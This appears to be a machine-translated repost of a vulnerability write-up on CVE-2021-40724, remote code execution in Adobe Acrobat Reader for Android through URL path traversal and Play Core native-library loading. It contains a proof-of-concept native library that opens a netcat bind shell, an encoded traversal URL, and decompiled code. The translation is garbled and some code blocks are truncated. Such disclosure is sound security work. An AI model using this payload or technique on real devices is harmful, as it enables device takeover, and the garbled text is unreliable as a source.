Rce in Adobe # E ACROBAT READER for ANDROID (cve-2021-40724)

Posted by tsabar on Sat, 15 Jan 2022 10:53:02 +0100


When testing the adobe # e Acrobat Reader Application, the application has the function of allowing users to open pdf directly from http/https url. This feature is vulnerable to path traversal vulnerabilities. Abode reader also uses Google play core library for dynamic code loading. Using path lateral errors and dynamic code loading, I can achieve remote code execution.

Find path horizontal vulnerabilities

        <activity android:theme="@style/Theme_Virgo_SplashScreen" android:name="com.adobe.reader.AdobeReader" android:exported="true" android:launchMode="singleTask" android:screenOrientation="user" android:configChanges="keyboardHidden|screenLayout|screenSize|smallestScreenSize" android:noHistory="false" android:resizeableActivity="true">
                <action android:name="android.intent.action.VIEW"/>
                <action android:name="android.intent.action.EDIT"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="file"/>
                <data android:scheme="content"/>
                <data android:scheme="http"/>
                <data android:scheme="https"/>
                <data android:mimeType="application/pdf"/>

The intention filter in the application indicates that it will accept the http/https url scheme, and the mimeType should be application/pdf for this activity.

For example, when there is an intent with a data url http://localhost/test.pdf When it is sent to the adobe reader application, it will download the file in the file / sdcard/Downloads/Adobe Acrobat folder named LastPathSegment(ie test.pdf) of the sent url.

Activitycom. adobe. reader. Adobe reader receives Intent and starts ARFileURLDownloadActivityActivity.

public void handleIntent() {
            Intent intent2 = new Intent(this, ARFileURLDownloadActivity.class);
            intent2.putExtra(ARFileTransferActivity.FILE_PATH_KEY, intent.getData());
            intent2.putExtra(ARFileTransferActivity.FILE_MIME_TYPE, intent.getType());

This activity ARFileURLDownloadActivity starts at com adobe. reader. misc. Arfileurldownloadservice service.

public void onMAMCreate(Bundle bundle) {
        this.mServiceIntent = new Intent(this, ARFileURLDownloadService.class);
        Bundle bundle2 = new Bundle();

On COM adobe. reader. misc. ARFileURLDownloadService. java

public int onMAMStartCommand(Intent intent, int i, int i2) { 
        Bundle extras = intent.getExtras();
        String string = extras.getString(ARFileTransferActivity.FILE_MIME_TYPE, null);
        ARURLFileDownloadAsyncTask aRURLFileDownloadAsyncTask = new ARURLFileDownloadAsyncTask(ARApp.getInstance(), (Uri) extras.getParcelable(ARFileTransferActivity.FILE_PATH_KEY), (String) extras.getCharSequence(ARFileTransferActivity.FILE_ID_KEY), true, string);
        this.mURLFileDownloadAsyncTask = aRURLFileDownloadAsyncTask;
        aRURLFileDownloadAsyncTask.taskExecute(new Void[0]);
        return 2;

On COM adobe. reader. misc. ARURLFileDownloadAsyncTask. java

    private void downloadFile() throws IOException, SVFileDownloadException {
        Exception exc;
        boolean z;
        Throwable th;
        boolean z2;
        Uri fileURI = this.mDownloadModel.getFileURI();
        URL url = new URL(fileURI.toString());
        try {
            String downloadFile = new ARFileFromURLDownloader(new ARFileFromURLDownloader.DownloadUrlListener() {
                public void onProgressUpdate(int i, int i2) {
                    ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, i, i2);

                @Override // com.adobe.reader.misc.ARFileFromURLDownloader.DownloadUrlListener
                public boolean shouldCancelDownload() {
                    return ARURLFileDownloadAsyncTask.this.isCancelled();
            }).downloadFile(BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(fileURI.getLastPathSegment(), this.mDownloadModel.getMimeType(), null, fileURI), url);

This method bbintentutils Getmodifiedfilenamewithextensionusingintentdata will this mUri. Getlastpathsegment () as a parameter and returns the last decoded segment in the url path.

For example, let's get this url https://localhost/x/..%2F..%2Ffile.pdf So when this url is passed to the getLastPathSegment() method, it will..% 2F..% 2Ffile. Pdf as the last paragraph of the url and.. // file.pdf is returned as output.

downloadFile does not clean up the variables before passing them to the file instance, which leads to a path traversal vulnerability.


The Adobe Acrobat Reader application uses the Google play core library to provide its users with additional functionality.

A simple way to know whether an application uses the play core library for dynamic code loading is to check / data / data /: application in the spiltcompat directory_ ID / files / directory.

Using the path traversal vulnerability, I can write arbitrary apks in the directory of the application/ data/data/com. adobe. Reader / files / splitcompat / 1921618197 / verified splits / classes from the attacker apk will be automatically added to the application's ClassLoader and will execute malicious code when called from the application. Please read this article for a more detailed explanation article

The Adobe reader application will also fasopencvdf Apk downloads the module name while the application is running. The plan is to overwrite this file and execute the code remotely, but this is impossible. The problem is that there is a horizontal vulnerability in this path. I can't overwrite existing files... I can only create new files.

I was stuck at this stage for a long time, looking for a way to execute code remotely without installing an additional apk. After analyzing other applications using the play core library installed on my device, I see that the play core library also provides adobe. The function of loading native code (. so file) in the reader / files / splitcompat /: ID / native libraries / directory.

FASOpenCVDF. The APK module is also available from / data / data / com adobe. reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF. config. arm64_ Load the native library from the v8a directory. I decided to check fasopencvdf Apk source code, where I found that this module is also trying to load three unavailable libraries, libadccomponent So this solves my problem of executing code remotely. libColoradoMobile.solibopencv_info.so

I created a simple poc native library and renamed it libopencv_info.so and put it in / data / data / com adobe. reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF. config. arm64_ V8a directory, and the filling and signing functions will be used at the next startup, and malicious code will be executed.

Proof of concept

<title> RCE in Adobe Acrobat Reader for android </title>
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {

    if (fork() == 0) {
        system("toybox nc -p 6666 -L /system/bin/sh -l");
    JNIEnv* env;
    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
        return JNI_ERR;
    return JNI_VERSION_1_6;

Bug fix!

On COM adobe. libs. buildingblocks. utils. BBIntentUtils. java

private static final String FILE_NAME_RESERVED_CHARACTER = "[*/\\|?<>\"]";
public static String getModifiedFileNameWithExtensionUsingIntentData(String str, String str2, ContentResolver contentResolver, Uri uri) {
        if (TextUtils.isEmpty(str)) {
            str = BBConstants.DOWNLOAD_FILE_NAME;
        String str3 = null;
        if (!(contentResolver == null || uri == null)) {
            str3 = MAMContentResolverManagement.getType(contentResolver, uri);
        String str4 = !TextUtils.isEmpty(str3) ? str3 : str2;
        if (!TextUtils.isEmpty(str4)) {
            String fileExtensionFromMimeType = BBFileUtils.getFileExtensionFromMimeType(str4);
            if (!TextUtils.isEmpty(fileExtensionFromMimeType)) {
                if (str.lastIndexOf(46) == -1) {
                    str = str + '.' + fileExtensionFromMimeType;
                } else {
                    String mimeTypeForFile = BBFileUtils.getMimeTypeForFile(str);
                    if (TextUtils.isEmpty(mimeTypeForFile) || (!TextUtils.equals(mimeTypeForFile, str3) && !TextUtils.equals(mimeTypeForFile, str2))) {
                        str = str + '.' + fileExtensionFromMimeType;
        return str.replaceAll(FILE_NAME_RESERVED_CHARACTER, "_");